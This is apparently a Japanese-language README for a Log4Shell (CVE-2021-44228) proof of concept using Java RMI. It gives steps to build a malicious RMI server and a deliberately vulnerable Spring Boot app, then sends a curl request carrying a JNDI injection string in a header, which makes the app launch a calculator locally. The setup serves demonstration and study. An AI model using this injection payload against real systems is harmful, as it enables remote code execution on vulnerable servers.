log4shell-rmi-poc

Log4j脆弱性（CVE-2021-44228）のJava-RMI経由でのProof of Concept
spring-boot-starter-log4j2のLog4j 2.5.7を使用しています。

必要条件:

Java 8（JDK 1.8.0_25）およびJava 11（JDK 11.0.1）でテスト済み

git clone https://github.com/Labout/log4shell-rmi-poc.git

cd Log4jshell_rmi_server

./mvnw clean package

java -jar target/Log4jshell.rmi.server-0.0.1-SNAPSHOT.jar

以下のような出力が得られるはずです:

RMIサーバ

新しいターミナルで

cd vulnerabel_log4j_app

./mvnw clean package

java -jar target/vulnerabel_log4j_app-0.0.1-SNAPSHOT.jar

curl 'http://localhost:8080/hello' --header 'Accept-Version: ${jndi:rmi://127.0.0.1:1099/ExecByEL}'

ご覧のとおり、脆弱なアプリケーションが電卓アプリを呼び出しています。

エクスプロイト